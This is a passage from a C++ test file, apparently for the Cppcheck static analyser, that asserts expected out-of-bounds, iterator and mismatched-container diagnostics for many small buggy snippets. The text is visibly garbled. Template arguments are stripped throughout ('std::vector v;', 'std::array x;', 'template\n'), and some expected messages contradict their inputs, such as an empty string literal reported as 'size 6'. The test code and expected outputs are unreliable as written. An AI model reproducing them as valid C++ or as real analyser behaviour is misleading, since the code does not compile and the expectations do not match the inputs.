ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n \"[test.cpp:2:38]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"int f(int x, int y) {\\n\"\n \" std::vector a = {0,1,2};\\n\"\n \" if(x<2)\\n\"\n \" y = a[x] + 1;\\n\"\n \" else\\n\"\n \" y = a[x];\\n\"\n \" return y;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:14]: warning: Either the condition 'x<2' is redundant or 'x' can have the value greater or equal to 3. Expression 'a[x]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:9]: note: condition 'x<2'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n checkNormal(\"int f(std::vector v) {\\n\"\n \" if (v.size() > 3)\\n\"\n \" return v[v.size() - 3];\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v[v.size() - 1];\\n\"\n \" if (v.size() == 1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int n) {\\n\"\n \" std::vector v = {1, 2, 3, 4};\\n\"\n \" const int i = qMin(n, v.size());\\n\"\n \" if (i > 1)\\n\"\n \" v[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector& v, int i) {\\n\"\n \" if (i > -1) {\\n\"\n \" v.erase(v.begin() + i);\\n\"\n \" if (v.empty()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void g(const char *, ...) { exit(1); }\\n\" // #10025\n \"void f(const char c[]) {\\n\"\n \" std::vector v = get();\\n\"\n \" if (v.empty())\\n\"\n \" g(\\\"\\\", c[0]);\\n\"\n \" return h(&v[0], v.size()); \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(int i, std::vector v) {\\n\" // #9157\n \" if (i <= (int)v.size()) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \" if (i <= static_cast(v.size())) {\\n\"\n \" if (v[i]) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14]: warning: Either the condition 'i<=(int)v.size()' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:11]: note: condition 'i<=(int)v.size()'\\n\"\n \"[test.cpp:3:14]: note: Access out of bounds\\n\"\n \"[test.cpp:6:14]: warning: Either the condition 'i<=static_cast(v.size())' is redundant or 'i' can have the value v.size(). Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:5:11]: note: condition 'i<=static_cast(v.size())'\\n\"\n \"[test.cpp:6:14]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" d + c.length();\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: error: Out of bounds access in expression 'd+c.length()' because 'buf' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"void b(Iterator d) {\\n\"\n \" std::string c = \\\"a\\\";\\n\"\n \" sort(d, d + c.length());\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" std::string buf;\\n\"\n \" b(buf.begin());\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(const std::vector &v) {\\n\"\n \" return !v.empty() ? 42 : v.back();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\n \"[test.cpp:2:36]: warning: Either the condition 'v.empty()' is redundant or expression 'v.back()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:20]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:36]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"std::vector g() {\\n\" // #10779\n \" std::vector v(10);\\n\"\n \" for(int i = 0; i <= 10; ++i)\\n\"\n \" v[i] = 42;\\n\"\n \" return v;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: error: Out of bounds access in 'v[i]', if 'v' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int s = 2;\\n\"\n \" std::vector v(s);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 2 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v({ 1, 2, 3 });\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v(c, sizeof(c) + c);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" char c[] = { 1, 2, 3 };\\n\"\n \" std::vector v{ c, c + sizeof(c) };\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / 4);\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: error: Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\" // #6615\n \" int i[] = { 1, 2, 3 };\\n\"\n \" std::vector v(i, i + sizeof(i) / sizeof(int));\\n\"\n \" v[100] = 1;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"test.cpp:4:error:Out of bounds access in 'v[100]', if 'v' size is 3 and '100' is 100\\n\",\n \"\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::array a = {};\\n\"\n \" a[10];\\n\"\n \" constexpr std::array b = {};\\n\"\n \" b[10];\\n\"\n \" const std::array c = {};\\n\"\n \" c[10];\\n\"\n \" static constexpr std::array d = {};\\n\"\n \" d[10];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: error: Out of bounds access in 'a[10]', if 'a' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:5:6]: error: Out of bounds access in 'b[10]', if 'b' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:7:6]: error: Out of bounds access in 'c[10]', if 'c' size is 10 and '10' is 10 [containerOutOfBounds]\\n\"\n \"[test.cpp:9:6]: error: Out of bounds access in 'd[10]', if 'd' size is 10 and '10' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_fixed {\\n\"\n \" std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_fixed x = test_fixed();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"struct test_constexpr {\\n\"\n \" static constexpr std::array array = {};\\n\"\n \" void index(int i) { array[i]; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" test_constexpr x = test_constexpr();\\n\"\n \" x.index(10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:30]: error: Out of bounds access in 'array[i]', if 'array' size is 10 and 'i' is 10 [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" const std::vector& v;\\n\"\n \" A(const std::vector& x) : v(x)\\n\"\n \" {}\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" static const std::vector v;\\n\"\n \" int f() const {\\n\"\n \" return v[0];\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const std::vector A::v = {1, 2};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct a {\\n\"\n \" std::vector g() const;\\n\"\n \"};\\n\"\n \"int f(const a& b) {\\n\"\n \" auto c = b.g();\\n\"\n \" assert(not c.empty());\\n\"\n \" int d = c.front();\\n\"\n \" return d;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f() {\\n\"\n \" std::map m = { { 1, \\\"1\\\" } };\\n\"\n \" return m.at(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct A {\\n\"\n \" virtual void init_v(std::vector *v) = 0;\\n\"\n \"};\\n\"\n \"A* create_a();\\n\"\n \"struct B {\\n\"\n \" B() : a(create_a()) {}\\n\"\n \" void init_v(std::vector *v) {\\n\"\n \" a->init_v(v);\\n\"\n \" }\\n\"\n \" A* a;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" B b;\\n\"\n \" std::vector v;\\n\"\n \" b.init_v(&v);\\n\"\n \" v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::vector* v) {\\n\"\n \" if (v->empty())\\n\"\n \" v->push_back(1);\\n\"\n \" auto x = v->back();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"template \\n\"\n \"struct Foo {\\n\"\n \" std::array items = {0};\\n\"\n \" T maxCount = count;\\n\"\n \" explicit Foo(const T& maxValue = (std::numeric_limits::max)()) : maxCount(maxValue) {}\\n\"\n \" bool Set(const uint8_t idx) {\\n\"\n \" if (CheckBounds(idx) && items[idx] < maxCount) {\\n\"\n \" items[idx] += 1;\\n\"\n \" return true;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \" }\\n\"\n \" static bool CheckBounds(const uint8_t idx) { return idx < count; }\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo x;\\n\"\n \" if (x.Set(42U)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"struct S { void g(std::span& r) const; };\\n\" // #11828\n \"int f(const S& s) {\\n\"\n \" std::span t;\\n\"\n \" s.g(t);\\n\"\n \" return t[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"char h() {\\n\"\n \" std::string s;\\n\"\n \" std::string_view sv(s);\\n\"\n \" return s[2];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: error: Out of bounds access in expression 's[2]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\" // #12738\n \" std::vector v{ 0, 0.1 };\\n\"\n \" (void)v[0];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void outOfBoundsSymbolic()\n {\n check(\"void foo(std::string textline, int col) {\\n\"\n \" if(col > textline.size())\\n\"\n \" return false;\\n\"\n \" int x = textline[col];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:12] -> [test.cpp:4:21]: (warning) Either the condition 'col>textline.size()' is redundant or 'col' can have the value textline.size(). Expression 'textline[col]' causes access out of bounds. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void outOfBoundsIndexExpression() {\n setMultiline();\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[s.size()+1] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 's.size()+1' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[1+s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index '1+s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" s[x*s.size()] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: error: Out of bounds access of s, index 'x*s.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n\n checkNormal(\"bool f(std::string_view& sv) {\\n\" // #10031\n \" return sv[sv.size()] == '\\\\0';\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: error: Out of bounds access of sv, index 'sv.size()' is out of bounds. [containerOutOfBoundsIndexExpression]\\n\", errout_str());\n }\n void outOfBoundsIterator() {\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Out of bounds access in expression 'it' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.begin() + 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 1 from the beginning [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 1;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back(0);\\n\"\n \" auto it = v.end() - 2;\\n\"\n \" return *it;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (error) Out of bounds access in 'it', if 'v' size is 1 and 'it' is at position 2 from the end [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void g(int);\\n\"\n \"void f(std::vector x) {\\n\"\n \" std::map m;\\n\"\n \" if (!m.empty()) {\\n\"\n \" g(m.begin()->second);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" std::vector::iterator it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector vec;\\n\"\n \" auto it = vec.begin();\\n\"\n \" *it = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Out of bounds access in expression 'it' because 'vec' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n void iterator1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); it != l2.end(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:40]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::iterator it = l1.begin(); l2.end() != it; ++it)\\n\"\n \" { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:52]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct C { std::list l1; void func(); };\\n\"\n \"void C::func() {\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = l1.begin(); it != l1.end(); ++it) { }\\n\"\n \" C c;\\n\"\n \" for (it = c.l1.begin(); it != c.l1.end(); ++it) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Same check with reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" for (std::list::const_reverse_iterator it = l1.rbegin(); it != l2.rend(); ++it)\\n\"\n \" { }\\n\"\n \"}\");\n 